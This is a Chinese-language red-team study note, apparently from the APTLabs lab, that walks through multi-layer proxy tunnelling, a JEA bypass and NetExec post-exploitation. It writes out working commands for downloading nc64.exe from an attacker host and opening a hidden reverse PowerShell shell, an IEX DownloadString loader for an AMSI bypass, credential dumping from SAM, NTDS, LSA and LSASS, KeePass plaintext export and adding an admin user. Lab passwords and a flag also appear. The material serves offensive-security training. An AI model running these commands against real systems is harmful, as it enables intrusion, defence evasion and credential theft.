1 进度读取与构建
核心问题:由于当前的攻击链日益复杂,每次开始任务前,如何高效、准确地恢复(读取)之前的攻击进度并构建好当前的工作环境,已成为一个关键问题。这个过程本身就像一项工程,需要细致的考量和标准化的操作流程。
操作目标:本模块旨在强调和优化每日启动攻击前的环境准备工作,确保后续操作(如本次的 PS Remoting)能够顺利进行。
1.1 环境恢复与代理链构建
第一步:网络连接与底层代理
连接 OpenVPN 以接入目标网络环境。
建立第一层代理,通常是通过 SSH 连接到一台 Linux 代理服务器。在操作前,需要确保目标机器已安装 SSH 服务,并将本地公钥添加到目标机器的
authorized_keys文件中。执行第一层代理的安装或连接命令,在本地建立一个 SOCKS 代理通道。
第二步:构建第二层代理
目标:通过第一层代理,连接到内网中的跳板机(如
servicedesk,IP192.168.21.123),并以此为基础建立第二层代理,以便访问更深层次的内部网段(如192.168.24.0/24)。连接跳板机:
利用已有权限(如通过 SMBExec)连接到跳板机。
为避免交互式会话中的各种限制,并建立稳定连接,通常会先关闭目标机器上的实时防护等防御措施,然后使用
PsExec获取一个完整的交互式 Shell。操作规范:在使用完半交互式 Shell 后,务必使用
exit命令正常退出,以确保 SMB 共享中创建的临时服务或文件被正确清理,避免影响后续操作或暴露痕迹。
部署隧道工具:
在本地开启一个 Web 服务器(如
python -m http.server),用于托管隧道工具(如Chisel)和其他攻击载荷。通过已获取的跳板机 Shell,使用 PowerShell 的
iwr(Invoke-WebRequest) 命令从本地 Web 服务器下载Chisel等工具到跳板机的C:\ProgramData等临时目录。批量化操作:可以将下载、解压、清理等一系列命令写成一条组合命令,通过
&&连接,实现自动化部署,提高效率。
建立反向隧道:
先开启防火墙策略:为了让隧道工具的端口(如
8181、8282)可以被外部访问,需要在跳板机上添加一条出站防火墙规则。
New-NetFirewallRule -DisplayName "Allow Port 8181 Inbound" -Direction Inbound -Protocol TCP -LocalPort 8181 -Action Allow在windows本地攻击机上运行
Chisel作为服务器,并启用反向隧道模式。
.\chisel_amd.exe server --socks5 --port 8181在跳板机的 Shell 中,运行
Chisel作为客户端,连接到本地攻击机的Chisel服务器,并建立一个反向 SOCKS5 代理。
./chisel_amd client 192.168.21.123:8181 1080:socks
第三步:配置与验证代理
在本地攻击机上,配置
proxychains的配置文件(例如chains1080.conf),将代理指向Chisel在本地释放出的 SOCKS5 端口(默认为1080)。curl --socks5 127.0.0.1:1080 -s http://192.168.20.1命名习惯:为不同的代理链创建不同的配置文件(如
chains_layer1.conf,chains_layer2_1080.conf),并在命名中体现其层级和端口,这在复杂网络环境中至关重要,有助于快速定位和排错。验证代理有效性:使用
proxychains运行一个网络工具(如nxc或crackmapexec)来扫描或连接第二层代理才能访问的目标,验证代理链是否工作正常。调试技巧:执行命令时使用
-q(quiet) 参数可以抑制proxychains的日志输出,保持界面清爽。当连接出现问题时,则应去掉-q参数,观察详细的连接日志来判断是代理问题还是目标服务问题。
1.2 PowerShell Remoting 环境准备
问题背景:在特定版本的 Kali Linux(如 2023.4, 2024.04)上,由于复杂的库依赖关系(尤其是跨平台的微软库),
pwsh(PowerShell Core) 的 PS Remoting 功能可能会出现连接卡死或失败的问题。核心依赖:PS Remoting 依赖
WSMan(Web Services-Management) 组件。安装步骤与注意事项:
第一步:安装模块(无代理):
在不使用
proxychains的情况下启动pwsh。这是因为安装模块需要连接到外部的 PowerShell Gallery,而内网的二层代理通常无法访问外网。
执行以下命令安装
WSMan相关模块:
Install-Module -Name PSWSManInstall-WSMan第二步:执行连接(有代理):
安装完成后,退出
pwsh。必须使用
proxychains启动新的pwsh会话,以便通过代理链连接到内网目标。
sudo proxychains -f chains1080.conf -q pwsh排错思路:如果遇到依赖问题,强烈建议使用 Python 的虚拟环境(
python3 -m venv [环境名])来隔离不同工具的依赖库,避免全局环境的库冲突。
1.3 账号与域的理解
关键认知:在尝试凭据登录时,必须清晰地理解账号的归属域。一个账号的权限和可访问范围由其所属的域决定。
实战案例:
用户
s.helmer的凭据是通过嗅探megabank.local域(192.168.24.0/24 网段)的网络流量获得的。
然而,该用户实际上属于
gigantichosting.local域。他之所以能访问
megabank.local的机器,是因为他所在的组 (megabank shadow credential group) 被授予了相应的跨域权限。
因此,在使用
nxc或Enter-PSSession等工具进行登录时,必须明确指定用户所属的域,否则认证将失败。
crackmapexec 未指定用户所属域
┌──(root㉿kali)-[~/Desktop/APTLabs] └─# proxychains -f chain1080.conf -q crackmapexec winrm nmap/192.168.24.0.txt -u s.helmer -p Hades123 SMB 192.168.24.112 5985 SERVER04 [*] Windows 10.0 Build 17763 (name:SERVER04) (domain:megabank.local) HTTP 192.168.24.112 5985 SERVER04 [*] http://192.168.24.112:5985/wsman SMB 192.168.24.118 5985 SERVER05 [*] Windows 10.0 Build 17763 (name:SERVER05) (domain:megabank.local) HTTP 192.168.24.118 5985 SERVER05 [*] http://192.168.24.118:5985/wsman SMB 192.168.24.10 5985 PRIMARY [*] Windows 10.0 Build 17763 (name:PRIMARY) (domain:megabank.local) HTTP 192.168.24.10 5985 PRIMARY [*] http://192.168.24.10:5985/wsman WINRM 192.168.24.112 5985 SERVER04 [-] megabank.local\s.helmer:Hades123 SMB 192.168.24.155 5985 NONE [*] None (name:192.168.24.155) (domain:None) HTTP 192.168.24.155 5985 NONE [*] http://192.168.24.155:5985/wsman WINRM 192.168.24.118 5985 SERVER05 [-] megabank.local\s.helmer:Hades123 WINRM 192.168.24.10 5985 PRIMARY [-] megabank.local\s.helmer:Hades123 WINRM 192.168.24.155 5985 NONE [-] None\s.helmer:Hades123crackmapexec 指定用户所属的域
┌──(root㉿kali)-[~/Desktop/APTLabs] └─# proxychains -f chain1080.conf -q crackmapexec winrm nmap/192.168.24.0.txt -u s.helmer -p Hades123 -d GiganticHosting.local HTTP 192.168.24.155 5985 192.168.24.155 [*] http://192.168.24.155:5985/wsman HTTP 192.168.24.112 5985 192.168.24.112 [*] http://192.168.24.112:5985/wsman HTTP 192.168.24.10 5985 192.168.24.10 [*] http://192.168.24.10:5985/wsman HTTP 192.168.24.118 5985 192.168.24.118 [*] http://192.168.24.118:5985/wsman WINRM 192.168.24.155 5985 192.168.24.155 [-] GiganticHosting.local\s.helmer:Hades123 WINRM 192.168.24.112 5985 192.168.24.112 [+] GiganticHosting.local\s.helmer:Hades123 (Pwn3d!) WINRM 192.168.24.10 5985 192.168.24.10 [-] GiganticHosting.local\s.helmer:Hades123 WINRM 192.168.24.118 5985 192.168.24.118 [-] GiganticHosting.local\s.helmer:Hades123WinRM命令格式:
错误示范(未指定域):
proxychains4 -q nxc winrm 192.168.24.112 -u s.helmer -p 'Hades123'正确示范(指定域):
Enter-PSSession -ComputerName 192.168.24.112 -Credential gigantichosting\s.helmer敏感度培养:对目标网络拓扑、域结构、用户和组的关系有深入的理解和记忆,是攻击成功的关键。这需要通过反复的枚举、分析和实践来培养,而不是仅仅依赖工具的自动化输出。
2 JEA 绕过
场景:通过 PowerShell Remoting 成功连接到目标主机
server04.megabank.local(192.168.24.112) 后,发现获得的是一个 JEA (Just Enough Administration) 受限 Shell。目标:绕过 JEA 限制,获取一个拥有完整功能的标准 Shell。
2.1 环境分析与可用命令
进入 JEA 环境后,首要任务是探明当前环境允许执行的所有命令,以评估可用的能力和潜在的突破口。
通常使用
Get-Command来列出所有可用命令。在此环境中,可用的命令均为 PowerShell 函数,具体列表如下:
Clear-Host: 清除 PowerShell 控制台窗口的内容。
Exit-PSSession: 退出一个 PowerShell 远程会话。
Get-Command: 列出所有可用的命令,包括函数、cmdlet 和别名。
Get-FormatData: 获取关于数据展示格式的信息。
Get-Help: 提供特定命令的详细帮助信息,包括用法、参数和示例。
Measure-Object: 对输入对象的属性进行测量,如计算总和、平均值等。
Out-Default: 控制命令的默认输出方式,通常用于内部处理输出到控制台。
Select-Object: 选择对象的特定属性,可以用于提取、排除或重新组织对象的属性。
2.2 绕过原理与方法
核心区别:Function vs. Cmdlet
Function(函数):是基于 PowerShell 脚本层面的实现。它们存在于当前会话的脚本上下文中,可以被重新定义或“重写”。
Cmdlet:是基于 .NET 框架的二进制命令,运行在 PowerShell 的底层。Cmdlet 不能被直接重写。
绕过思路:
既然当前环境中所有可用的命令都是函数 (Function),我们可以尝试在当前会话中重写(覆盖)其中一个函数。
通过重写,我们将原始函数的函数体替换为我们自己的恶意代码(例如,下载并执行反弹 Shell 的载荷),但函数名保持不变。
当这个被重写的函数被调用时,执行的将是我们的恶意代码,从而实现命令执行和 JEA 绕过。
函数选择:
理论上,任何一个函数都可以尝试重写。
为了避免影响当前会话的正常交互或与其他命令产生冲突,应选择一个不常用、不关键的函数进行重写。
在本场景中,
Measure-Object(用于对象测量)和Out-Default(用于控制输出)是不常用的理想目标。
方法论思考:
在面对不确定的受限环境时,能否坚定地认为“一定能绕过”并持续尝试,取决于经验和方法论。
方法论要点:
充分了解:尽可能了解每个可用命令的功能、参数和行为。
寻找异常:是否存在自定义命令?其脚本是否存在漏洞?
触发报错:尝试用非预期的方式使用命令,观察报错信息,可能会泄露底层逻辑。
花式组合:利用有限的命令进行各种组合,看是否能产生新的行为。
需要明确,并非所有的 JEA 都能被绕过。攻击者需要设定一个时间限制(如半小时或一小时),在此期间内若无突破,则应考虑将此攻击面视为暂时无法攻破,转向其他方向。
2.3 攻击载荷构建与执行
绕过过程分为两步:首先下载攻击工具,然后执行该工具建立反弹 Shell。
第一步:下载工具
重写函数以下载文件:在 JEA Shell 中,定义一个新的
Measure-Object函数,其功能是使用powershell.exe的iwr(Invoke-WebRequest) 功能从攻击机下载nc64.exe并保存到目标机器的c:\programdata目录下。命令:
function Measure-Object { powershell.exe iwr http://10.10.16.111/apps/nc64.exe -o c:\programdata\nc6411.exe | out-host}执行:在定义完函数后,直接调用该函数名以触发下载操作。
Measure-Object
攻击机准备:确保在攻击机(IP
10.10.16.87)上已开启 Web 服务,并在相应路径下放置了nc64.exe文件。
第二步:执行反弹 Shell
本地监听:在攻击机上使用
nc开启监听,等待反弹连接。sudo rlwrap -cAr nc -lvnp 445再次重写函数以执行命令:文件下载成功后,再次重写
Measure-Object函数。这次的函数体功能是使用Start-Process来以后台隐藏窗口的模式执行nc64.exe,并使其连接到攻击机的 443 端口,提供一个 PowerShell Shell。命令:
function Measure-Object { powershell.exe -c "Start-Process 'c:\programdata\nc6411.exe' -ArgumentList '-e', 'powershell.exe 10.10.16.111 445' -WindowStyle Hidden" | out-host}执行:再次调用函数名,触发反弹 Shell。
Measure-Object
2.4 获取完整 Shell
执行第二步的命令后,攻击机上监听的
nc会收到来自目标主机 (10.10.110.50,经过NAT或代理后的源IP) 的连接,从而获得一个完整的、不受 JEA 限制的 PowerShell Shell。验证与成果:
确认用户身份:
whoami
输出:
gigantichosting\s.helmer
确认网络配置:
ipconfig
输出: IPv4 地址为
192.168.24.112
获取凭证/Flag:
gc C:\Users\s.helmer\Desktop\flag.txt
拿到flag:
APTLABS{Th3_P@M_@Dm!n}APTLABS{Th3_P@M_@Dm!n}
2.5 当前成果

3 AMSI 绕过基础
Antimalware Scan Interface (AMSI):是微软提供的一个底层接口,允许任何第三方应用程序(包括杀毒软件和 Defender)对脚本、命令等内容进行扫描,以检测恶意行为。
当前状态:此主题将在后续课程中进行详细讲解。
4 nxc 续篇
nxc(Netexec) 是一个功能强大的网络枚举和利用工具,本模块将继续探讨其在 LDAP 和 RDP 协议上的高级用法,以及命令执行和凭据提取等功能。
4.1 LDAP 与 RDP 枚举
除了之前讨论过的 SMB 协议,
nxc也支持通过 LDAP 和 RDP 协议进行深入的域环境信息收集。LDAP 枚举前提:LDAP 通信依赖于正确的 FQDN (完全限定域名) 解析。如果攻击机无法通过 DNS 解析目标域名,则需要在
/etc/hosts文件中手动添加域名和 IP 的对应关系。
4.1.1 LDAP 和 RDP 命令选项
以下是
nxc针对 LDAP 和 RDP 协议提供的一些核心枚举选项:
4.1.2 列举用户和组
与 SMB 协议类似,可以使用 LDAP 列举域内的所有用户和组。
命令示例:
sudo nxc ldap dc01.redteamnotes.local -u robert -p 'redteamnotes01!' --users --groups
4.1.3 列举有趣的账户属性
LDAP 允许我们查询特定的账户控制属性,以快速发现具有高价值的账户。
识别
PASSWD_NOTREQD属性含义:如果账户设置了此属性,其密码不受域密码策略的长度限制,可能存在空密码或弱密码的风险。
命令示例:
sudo nxc ldap dc01.redteamnotes.local -u robert -p 'redteamnotes01!' --password-not-required识别不受限制的委派 (
TRUSTED_FOR_DELEGATION)含义:如果用户或计算机账户设置了此属性,意味着该账户被信任用于 Kerberos 非约束性委派。运行在该账户下的服务可以模拟任何访问它的客户端,是 Kerberos 攻击中的一个重要目标。
命令示例:
sudo nxc ldap dc01.redteamnotes.local -u robert -p 'redteamnotes01!' --trusted-for-delegation查询
adminCount属性含义:如果一个对象的
adminCount属性值为 1,意味着该对象受到 AdminSDHolder 机制的保护。这些通常是域中的特权账户(如 Domain Admins 组成员),其 ACL 权限会被定期重置为模板权限,是攻击者重点关注的目标。命令示例:
sudo nxc ldap dc01.redteamnotes.local -u robert -p 'redteamnotes01!' --admin-count
4.1.4 枚举域 SID
含义:SID (安全标识符) 是用于唯一标识用户、组或计算机的 ID。域 SID (Domain SID) 则是唯一标识整个域的 ID,在某些域攻击中是必需的信息。
命令示例:
sudo nxc ldap dc01.redteamnotes.local -u robert -p 'redteamnotes01!' --get-sid
4.1.5 组管理服务账户 (gMSA)
定义:gMSA (Group Managed Service Account) 是一种特殊的域账户,用于在多台服务器上运行服务,并提供自动密码管理和简化的 SPN 管理功能。
利用流程:
枚举权限:首先,找到哪些用户有权限读取 gMSA 账户的密码。这可以通过执行 PowerShell 命令
Get-ADServiceAccount来实现。sudo nxc winrm dc01.redteamnotes.local -u robert -p 'redteamnotes01!' -X "Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword"检索密码:如果我们攻陷了一个有权读取 gMSA 密码的用户(例如用户
engels),就可以使用nxc的--gmsa选项来检索该 gMSA 账户的 NTLM 哈希。sudo nxc ldap dc01.redteamnotes.local -u engels -p 'redteamnotes1998!' --gmsa利用哈希:获取到 NTLM 哈希后,可以使用 Pass-the-Hash 技术,用该 gMSA 账户的身份进行认证和进一步的横向移动,例如枚举共享文件夹。
sudo nxc smb dc01.redteamnotes.local -u svc_inlaneadm$ -H '76fa2df9e8f656ae81b0bd271bef0346' --shares
4.1.6 RDP 截图
nxc可以通过 RDP 协议对目标进行截图,以获取登录界面信息或窥视已登录的桌面会话。无 NLA 截图
NLA (Network Level Authentication):是一种 RDP 安全功能,要求用户在建立完整的 RDP 会话之前就完成身份验证。
如果目标禁用了 NLA,我们可以使用
--nla-screenshot选项来截取登录界面的屏幕截图,这可能会泄露域名或用户名信息。命令示例:
sudo nxc rdp 10.129.204.177 --nla-screenshot有凭据截图
如果我们拥有目标的有效凭据,可以使用
--screenshot选项登录并截取桌面图像。可选参数:
--screentime <秒数>: 设置连接成功后等待多少秒再截图,默认为 10 秒。适用于桌面加载缓慢的情况。--res <宽x高>: 设置 RDP 连接的分辨率,默认为1024x768。调整分辨率有助于完整地捕获活动会话的屏幕内容。
命令示例:
sudo nxc rdp 10.129.204.177 -u julio -p 'Password1' --screenshot --screentime 5 --res 1280x720
4.2 命令执行
4.2.1 UAC 与远程管理
UAC 限制:当 UAC (用户帐户控制) 启用时(默认情况),只有 RID 为 500 的内置管理员账户才能在远程执行管理任务。
相关注册表项:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy: 默认值为 0,表示只有 RID 500 账户可以远程管理。如果设置为 1,则本地管理员组中的所有账户都可以执行远程管理任务。HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken: 如果设置为 1,则会阻止 RID 500 的内置管理员账户执行远程管理任务。
域账户:
LocalAccountTokenFilterPolicy的设置仅对本地账户有效,对属于管理员组的域账户无效。
4.2.2 通过 SMB 执行命令
以管理员身份执行:使用 RID 500 的管理员账户,可以直接通过
-x(执行 CMD 命令) 或-X(执行 PowerShell 命令) 在远程主机上执行命令。sudo nxc smb 10.129.204.133 -u Administrator -p 'AnotherCompl3xP4$$' --local-auth -x "net localgroup administrators"更改 UAC 策略:如果拥有管理员权限,可以通过
reg add命令修改注册表,将LocalAccountTokenFilterPolicy的值设为 1,从而为其他本地管理员账户开启远程管理权限。sudo nxc smb 10.129.204.133 -u Administrator -p 'AnotherCompl3xP4$$' --local-auth -x "reg add HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"执行方法 (
--exec-method)nxc提供四种不同的命令执行方法:wmiexec: 通过 WMI 执行,文件会写入磁盘。
atexec: 通过任务计划程序执行,无文件,不适用于新版 Windows。
smbexec: 通过创建服务执行,无文件,不适用于新版 Windows。
mmcexec: 类似 wmiexec,通过 MMC 执行。
默认情况下,
nxc会按wmiexec->atexec->smbexec->mmcexec的顺序尝试执行,如果前一个失败则切换到下一个。可以使用--exec-method标志强制指定一种方法。
sudo nxc smb 10.129.204.133 -u robert -p 'redteamnotes01!' --exec-method smbexec -x whoami
4.2.3 执行 PowerShell 与 AMSI 绕过
执行 PowerShell:使用
-X选项执行 PowerShell 命令时,nxc会在后台自动执行 AMSI 绕过和载荷混淆。自定义 AMSI 绕过:
可以使用
--amsi-bypass选项指定一个本地的 PowerShell 脚本作为自定义的 AMSI 绕过载荷。问题:如果绕过脚本文件过大,会导致最终生成的命令超过 PowerShell 的最大长度限制(8191 字符),从而执行失败。
解决方案:
将大的 AMSI 绕过脚本(如
shantanukhande-amsi.ps1)托管在一个 Web 服务器上。创建一个新的、非常小的 PowerShell 脚本(如
amsibypass.txt),其内容为从 Web 服务器下载并执行大的绕过脚本。
echo "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.33/shantanukhande-amsi.ps1');" > amsibypass.txt使用
nxc时,将--amsi-bypass指向这个小的加载器脚本,从而绕过长度限制。
4.2.4 通过 WinRM 和 SSH 执行命令
WinRM:
nxc也支持通过 WinRM 协议(HTTP 端口 5985, HTTPS 端口 5986)执行命令。WinRM 不要求用户必须是管理员,只要用户属于
Remote Management Users组或在会话配置中拥有明确权限即可。命令示例:
sudo nxc winrm 10.129.204.133 -u robert -p 'redteamnotes01!' -x whoamiSSH:
nxc支持通过 SSH 协议在 Linux 或 Windows 目标上执行命令。支持使用私钥进行身份验证,通过
--key-file指定私钥文件。如果私钥没有密码,-p选项必须设置为空字符串''。命令示例(使用私钥):
sudo nxc ssh 10.129.204.133 -u julio --key-file id_ed25519 -p '' -x whoami
4.3 查找并利用敏感信息
nxc提供了强大的凭据提取功能,可以直接从远程系统中转储 SAM, NTDS, LSA Secrets 等。
4.3.1 SAM 数据库
含义:SAM 数据库存储所有本地用户的凭据哈希。获取这些哈希对于发现凭据重用至关重要。
命令:使用
--sam选项可以快速转储 SAM 数据库内容。sudo nxc smb 10.129.204.133 -u robert -p 'redteamnotes01!' --sam
4.3.2 NTDS 活动目录数据库
含义:
ntds.dit文件是活动目录的数据库,存储了域中所有用户的密码哈希。转储该文件需要域管理员权限或具备 DCSync 权限的账户。命令与选项:
--ntds: 执行 NTDS 转储。--user <username>: 仅转储指定用户的哈希。--enabled: 仅显示启用了的用户的哈希。
命令示例(仅转储 KRBTGT 账户):
sudo proxychains4 -q nxc smb 172.16.1.10 -u julio -p 'Password1' --ntds --user krbtgt
4.3.3 LSA Secrets 与缓存凭据
含义:
LSA Secrets: 本地安全机构 (LSA) 用于存储敏感数据(如服务账户凭据)的受保护区域。
Cached Credentials: 用户登录域时,其凭据的哈希会缓存在 LSA 中,以便在无法连接到域控制器时也能登录。这种哈希格式为 DCC2 (MSCacheV2)。
命令:使用
--lsa选项可以转储 LSA Secrets 和缓存的凭据。sudo nxc smb 10.129.204.133 -u robert -p 'redteamnotes01!' --lsa破解 DCC2 哈希:DCC2 哈希比 NTLM 更强,不能用于 Pass-the-Hash 攻击,但可以尝试使用 Hashcat 进行破解(模块
2100)。hashcat -m 2100 hashes.txt /usr/share/wordlists/rockyou.txt
4.3.4 从 LSASS 进程提取凭据
含义:LSASS (Local Security Authority Subsystem Service) 进程的内存中通常包含了登录用户的明文密码、NTLM 哈希等敏感凭据。
nxc提供了多个模块来远程转储 LSASS 内存并提取凭据:lsassy: 使用 Impacket 远程读取 LSASS 转储并用 pypykatz 解析。sudo nxc smb 10.129.204.133 -u robert -p 'redteamnotes01!' -M lsassyprocdump: 上传微软官方的 Procdump 工具创建 LSASS 转储,然后下载并用 pypykatz 解析。sudo nxc smb 10.129.204.133 -u robert -p 'redteamnotes01!' -M procdumphandlekatz: 使用克隆句柄技术创建模糊的内存转储以绕过检测。sudo nxc smb 10.129.204.133 -u robert -p 'redteamnotes01!' -M handlekatznanodump: 一个灵活的 minidump 创建工具,可以尝试复用系统中已存在的 LSASS 句柄来创建转储,以增强隐蔽性。sudo nxc smb 10.129.204.133 -u robert -p 'redteamnotes01!' -M nanodump
4.4 模块
nxc的模块化设计使其功能可以被轻松扩展,以执行各种利用和后利用任务。
4.4.1 LDAP 协议模块
get-network: 基于活动目录集成的 DNS 进行区域转储,可以枚举和导出区域中的所有 DNS 记录,用于内部网络侦察。选项:
--options ALL=true(获取 IP 和域名),--options ONLY_HOSTS=true(仅获取域名)。
laps: 用于读取 LAPS (Local Administrator Password Solution) 密码。如果用户有权限读取 AD 中存储的计算机本地管理员密码,该模块可以直接检索这些密码。命令示例:
sudo nxc ldap dc01.redteamnotes.local -u robert -p 'redteamnotes01!' -M lapsmaq: 用于查询域级别的机器账户配额 (Machine Account Quota) 属性。该属性决定了普通用户可以在域中创建多少个计算机账户,这对于基于资源的约束性委派等攻击至关重要。daclread: 读取和导出指定对象的 DACL (Discretionary Access Control List),用于枚举 Active Directory 中的访问权限。命令示例(查找具有 DCSync 权限的主体):
sudo nxc ldap dc01.redteamnotes.local -u grace -p 'redteamnotes01!' -M daclread -o TARGET_DN="DC=redteamnotes,DC=local" ACTION=read RIGHTS=DCSync
4.4.2 SMB 协议模块
注意:大多数 SMB 模块需要管理员权限才能工作。
get_netconnections和ioxidresolver: 用于枚举目标主机的网络接口信息。get_netconnections使用 WMI 查询,可以获取包括 IPv6 在内的所有 IP 地址。ioxidresolver使用 RPC 查询,不包含 IPv6 地址。
keepass_trigger: 一个强大的模块,用于从 KeePass 密码管理器中以明文形式导出凭据。原理:通过修改 KeePass 的配置文件,插入一个恶意的“触发器”,该触发器会在 KeePass 打开数据库时自动将所有内容以明文导出到一个文件中。
使用:该模块提供
ADD,RESTART,POLL,CLEAN等动作来完成添加触发器、重启目标 KeePass 进程、拉取导出文件和清理痕迹的完整流程。也可以使用ACTION=ALL一次性执行所有步骤。
rdp: 远程启用或禁用目标主机的 RDP 服务。命令示例(启用 RDP):
sudo nxc smb 10.129.203.121 -u julio -p 'Password1' -M rdp -o ACTION=enable
4.5 漏洞扫描模块
nxc集成了一些模块,用于快速识别目标系统是否存在某些著名的漏洞。zerologon: 检测目标域控制器是否存在 ZeroLogon 漏洞 (CVE-2020-1472)。sudo proxychains4 -q nxc smb 172.16.10.3 -M zerologonpetitpotam: 检测目标是否易受 PetitPotam NTLM 中继攻击的影响。sudo proxychains4 -q nxc smb 172.16.10.3 -M petitpotamnopac: 检测 CVE-2021-42278 和 CVE-2021-42287 (noPAC) 漏洞,该漏洞允许普通域用户提升至域管理员权限。sudo proxychains4 -q nxc smb 172.16.10.3 -u user -p 'password' -M nopacdfscoerce: 检测利用 MS-DFSNM 协议的 DFSCoerce NTLM 中继攻击漏洞。sudo proxychains4 -q nxc smb 172.16.10.3 -u user -p 'password' -M dfscoerceshadowcoerce: 检测 ShadowCoerce 强制身份验证攻击漏洞。调试技巧:如果模块执行后没有输出,不代表目标一定安全。可以使用
--verbose标志运行nxc,查看详细的调试日志以确认最终的检测结果。
ms17-010: 检测目标是否存在 EternalBlue (MS17-010) 漏洞。
4.6 创建自定义 nxc 模块
nxc允许用户创建自己的模块来扩展其功能。开发环境:
nxc使用 Poetry 进行依赖管理和项目构建,建议在开发时使用 Poetry 环境。
模块结构:
模块文件是一个 Python 文件,存放于
./nxc/nxc/modules/目录下。模块的核心是一个名为
nxcModule的类。核心属性:
name: 模块的名称。description: 模块的功能描述。supported_protocols: 支持的协议列表(如['smb'])。opsec_safe: 布尔值,标记模块是否操作安全。
核心方法:
options(self, context, module_options): 定义模块接受的选项(参数),并进行处理。on_login(self, context, connection): 当获得一个非管理员权限的登录会话时执行。on_admin_login(self, context, connection): 当获得一个管理员权限的登录会话时执行,通常在此方法中执行需要高权限的操作。
示例:
createadmin模块目标:创建一个在远程主机上添加新管理员用户的模块。
实现:
在
options方法中定义USER和PASS两个选项,并设置默认值和输入验证。在
on_admin_login方法中,组合net user ... /add和net localgroup administrators ... /add命令。使用
connection.execute(command, True)来执行组合后的命令。
运行模块:
sudo nxc smb 10.129.203.121 -u julio -p 'Password1' -M createadmin -o USER=redpen PASS=Newpassword!
4.7 MSSQL 枚举与操作
背景:当目标主机(如
server04)上运行有 MSSQL 服务时,nxc可以通过mssql协议进行交互。核心功能:
直接查询 (
-q):允许远程执行任意 SQL 查询语句,极大地便利了数据库枚举和信息窃取。nxc mssql <target> -u <user> -p <pass> -q "SELECT @@VERSION"命令执行:如果数据库账户权限足够(如
sysadmin),nxc可以利用 MSSQL 的内置功能(如xp_cmdshell)来执行操作系统命令。文件传输:与 SMB 协议类似,
mssql协议也支持--put-file和--get-file选项,用于在目标和攻击机之间传输文件。提权模块:
nxc包含专门的提权模块,如--mssql-privesc,可以自动化地尝试利用已知的 MSSQL 配置错误或漏洞进行权限提升。
-.-
评论区